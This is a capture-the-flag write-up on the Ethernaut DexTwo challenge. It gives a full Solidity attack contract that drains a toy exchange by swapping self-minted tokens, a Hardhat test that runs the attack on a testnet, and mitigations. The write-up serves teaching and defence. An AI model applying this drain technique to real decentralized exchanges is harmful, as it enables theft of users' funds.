Appearance
Exploiting a Flawed Decentralized Exchange: A Deep Dive into the DexTwo CTF Challenge
Introduction
In the rapidly evolving world of decentralized finance (DeFi), smart contract security remains paramount. The DexTwo challenge from Ethernaut's Capture The Flag (CTF) series presents a fascinating case study in how seemingly minor modifications to a decentralized exchange (DEX) contract can introduce critical vulnerabilities. This technical article will dissect the DexTwo contract, analyze its security flaws, and demonstrate a complete exploit that drains all token balances from the exchange.
Understanding the DexTwo Architecture
Contract Overview
DexTwo is a simplified decentralized exchange contract that allows users to swap between two ERC-20 tokens. Unlike traditional DEX implementations that use constant product market makers (like Uniswap's x*y=k formula), DexTwo employs a simpler ratio-based pricing mechanism. The contract inherits from OpenZeppelin's Ownable contract, restricting certain administrative functions to the contract owner.
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
}
The SwappableTokenTwo Contract
A crucial component of the system is the SwappableTokenTwo contract, which extends the standard ERC-20 implementation with a modified approval mechanism:
solidity
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
This modified approval function prevents the DEX contract itself from approving token transfers on behalf of users, a security measure that prevents certain types of attacks but doesn't address the core vulnerability we'll explore.
The Critical Vulnerability: Unrestricted Token Swapping
Analyzing the Swap Function
The heart of the DexTwo contract lies in its swap function:
solidity
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
At first glance, this appears to be a standard swap implementation. However, a critical oversight becomes apparent when we examine the function signature: there are no restrictions on which tokens can be swapped.
Unlike the previous Dex challenge (DexOne), which only allowed swapping between the two predefined tokens (token1 and token2), DexTwo's swap function accepts any ERC-20 token addresses as parameters. This seemingly minor change opens the door to a devastating attack.
The Pricing Mechanism Flaw
The vulnerability is compounded by the pricing mechanism implemented in getSwapAmount:
solidity
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
This formula calculates the output amount based on a simple ratio:
output = (input_amount * target_token_balance) / source_token_balance
The problem arises when we consider what happens if the DEX contract's balance of the source token is very small (or zero, though division by zero would revert). With a small denominator, the output amount becomes disproportionately large.
Crafting the Exploit
Attack Strategy
The exploit leverages two key insights:
- Unrestricted Token Inputs: We can create our own malicious tokens and use them as the
fromtoken in swaps - Ratio Manipulation: By controlling the DEX's balance of our malicious tokens, we can manipulate the pricing formula
The attack proceeds in these steps:
- Deploy two malicious ERC-20 tokens with arbitrary supplies
- Transfer a minimal amount (1 wei) of each malicious token to the DEX contract
- Use the malicious tokens to swap for the legitimate tokens at highly favorable rates
The Attack Contract
Here's the complete exploit contract that implements this strategy:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDexTwo {
function token1() external view returns (address);
function token2() external view returns (address);
function setTokens(address, address) external;
function addLiquidity(address, uint256) external;
function swap(address, address, uint256) external;
function getSwapPrice(address, address, uint256) external view returns (uint256);
function approve(address, uint256) external;
function balanceOf(address, address) external view returns (uint256);
}
contract Hack {
IDexTwo private immutable target;
IERC20 private immutable t1;
IERC20 private immutable t2;
constructor(address _target) {
target = IDexTwo(_target);
t1 = IERC20(target.token1());
t2 = IERC20(target.token2());
// Create two malicious tokens with large supplies
SwappableTokenTwo sttw1 = new SwappableTokenTwo(
address(target),
"Token Whatelse 1",
"TKNW1",
10000
);
SwappableTokenTwo sttw2 = new SwappableTokenTwo(
address(target),
"Token Whatelse 2",
"TKNW2",
10000
);
// Transfer 1 wei of each malicious token to the DEX
bool success_w1 = sttw1.transfer(address(target), 1);
require(success_w1, "Transfer fail!");
bool success_w2 = sttw2.transfer(address(target), 1);
require(success_w2, "Transfer fail!");
// Approve the DEX to spend our malicious tokens
bool success_w1_a = sttw1.approve(address(target), 1);
require(success_w1_a, "Approve fail!");
bool success_w2_a = sttw2.approve(address(target), 1);
require(success_w2_a, "Approve fail!");
// Execute the swaps
target.swap(address(sttw1), address(t1), 1);
target.swap(address(sttw2), address(t2), 1);
}
}
Mathematical Analysis of the Attack
Let's examine the mathematics behind why this attack works:
Initial State:
- DEX balance of token1: 100
- DEX balance of token2: 100
- DEX balance of malicious token1: 1 (after transfer)
- DEX balance of malicious token2: 1 (after transfer)
First Swap Calculation: When we swap 1 unit of malicious token1 for token1:
output = (1 * 100) / 1 = 100
The DEX sends us 100 token1 in exchange for just 1 of our worthless malicious token!
Second Swap Calculation: Similarly for token2:
output = (1 * 100) / 1 = 100
We receive all 100 token2 for just 1 unit of our second malicious token.
After these two swaps, the DEX is completely drained of both legitimate tokens while holding only 2 units of our worthless malicious tokens.
Testing the Exploit
Comprehensive Test Suite
To verify the exploit works as expected, we can use the following Hardhat test:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { DexTwo, SwappableTokenTwo, Hack } from "../typechain-types";
describe("DexTwo", function () {
describe("DexTwo testnet online sepolia", function () {
it("testnet online sepolia DexTwo", async function () {
const TIMEOUT = 5 * 60 * 1000;
this.timeout(TIMEOUT);
const DEXTWO_ADDRESS = "0x...";
const DexTwoFactory = await ethers.getContractFactory("DexTwo");
const DEXTWO_ABI = DexTwoFactory.interface.format();
const challenger = await ethers.getNamedSigner("deployer");
const dexTwoContract = new ethers.Contract(DEXTWO_ADDRESS, DEXTWO_ABI, challenger);
// Get token addresses
const T1_ADDRESS = await dexTwoContract.token1();
const SwappableTokenTwoFactory = await ethers.getContractFactory("SwappableTokenTwo");
const SWAPPABLETOKENTWO1_ABI = SwappableTokenTwoFactory.interface.format();
const t1Contract = new ethers.Contract(T1_ADDRESS, SWAPPABLETOKENTWO1_ABI, challenger);
const T2_ADDRESS = await dexTwoContract.token2();
const SWAPPABLETOKENTWO2_ABI = SwappableTokenTwoFactory.interface.format();
const t2Contract = new ethers.Contract(T2_ADDRESS, SWAPPABLETOKENTWO2_ABI, challenger);
// Verify initial balances
const deployerBalanceT1 = await t1Contract.balanceOf(challenger.address);
expect(deployerBalanceT1).to.be.equals(10);
const deployerBalanceT2 = await t2Contract.balanceOf(challenger.address);
expect(deployerBalanceT2).to.be.equals(10);
const dexBalanceT1 = await t1Contract.balanceOf(DEXTWO_ADDRESS);
expect(dexBalanceT1).to.be.equals(100);
const dexBalanceT2 = await t2Contract.balanceOf(DEXTWO_ADDRESS);
expect(dexBalanceT2).to.be.equals(100);
// Deploy and execute the exploit
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(DEXTWO_ADDRESS)) as Hack;
await hack.waitForDeployment();
// Verify the DEX is drained
const dexTwoBalanceT1_after = await t1Contract.balanceOf(DEXTWO_ADDRESS);
expect(dexTwoBalanceT1_after).to.be.equals(0);
const dexTwoBalanceT2_after = await t2Contract.balanceOf(DEXTWO_ADDRESS);
expect(dexTwoBalanceT2_after).to.be.equals(0);
});
});
});
Security Lessons and Best Practices
1. Input Validation and Whitelisting
The primary lesson from DexTwo is the importance of input validation. The contract should have implemented a whitelist mechanism:
solidity
// Improved implementation with token whitelisting
mapping(address => bool) public allowedTokens;
function swap(address from, address to, uint256 amount) public {
require(allowedTokens[from] && allowedTokens[to], "Token not allowed");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
2. Minimum Liquidity Requirements
Another critical improvement would be implementing minimum liquidity requirements to prevent the denominator manipulation attack:
solidity
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
uint256 fromBalance = IERC20(from).balanceOf(address(this));
uint256 toBalance = IERC20(to).balanceOf(address(this));
// Require minimum liquidity to prevent manipulation
require(fromBalance > MINIMUM_LIQUIDITY, "Insufficient liquidity for source token");
require(toBalance > MINIMUM_LIQUIDITY, "Insufficient liquidity for target token");
return ((amount * toBalance) / fromBalance);
}
3. Slippage Protection
Implementing slippage protection would make the DEX more resistant to price manipulation:
solidity
function swap(
address from,
address to,
uint256 amount,
uint256 minOutput
) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
require(swapAmount >= minOutput, "Slippage too high");
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
4. Using Established DEX Formulas
For production DEX implementations, it's crucial to use battle-tested formulas like the constant product formula:
solidity
function getSwapAmount(
address from,
address to,
uint256 amount
) public view returns (uint256) {
uint256 fromBalance = IERC20(from).balanceOf(address(this));
uint256 toBalance = IERC20(to).balanceOf(address(this));
// Constant product formula: x * y = k
uint256 newFromBalance = fromBalance + amount;
uint256 newToBalance = (fromBalance * toBalance) / newFromBalance;
return toBalance - newToBalance;
}
Broader Implications for DeFi Security
The DexTwo vulnerability demonstrates several important principles in DeFi security:
1. The Danger of Simple Pricing Models
While simple pricing models are easier to implement and understand, they often lack the robustness needed for secure financial applications. The ratio-based pricing in DexTwo is fundamentally flawed because it doesn't account for the value or legitimacy of the tokens being traded.
2. The Importance of Defense in Depth
Even with the modified approval mechanism in SwappableTokenTwo, the contract remained vulnerable. This highlights the need for multiple layers of security rather than relying on single protections.
3. The Risk of Permissionless Design
While permissionless systems are a core principle of DeFi, they require careful design to prevent abuse. Unlimited token acceptance without validation creates an attack surface that can be exploited by anyone.
4. Economic Security vs. Technical Security
This exploit demonstrates that smart contract security isn't just about preventing code execution errors—it's also about ensuring economic soundness. The contract was technically functioning as designed, but the economic design was fundamentally flawed.
Conclusion
The DexTwo CTF challenge provides a valuable lesson in smart contract security. By examining how a simple modification—removing token restrictions from the swap function—created a critical vulnerability, we gain insights into the careful balance required in DeFi protocol design.
Key takeaways for developers:
- Always validate and sanitize inputs, especially in financial contracts
- Implement multiple layers of security controls
- Use established, battle-tested formulas for financial calculations
- Consider both technical and economic security in protocol design
- Conduct thorough testing, including edge cases and attack scenarios
For security researchers and auditors, DexTwo demonstrates the importance of thinking beyond traditional bug hunting to consider economic attacks and protocol design flaws. As DeFi continues to evolve, understanding these complex interactions will be crucial for building secure, resilient financial systems on the blockchain.
The complete exploit code and test suite provided in this article serve as both a warning and a learning tool. By studying such vulnerabilities, the blockchain community can work toward more secure smart contract patterns and contribute to the maturation of decentralized finance as a whole.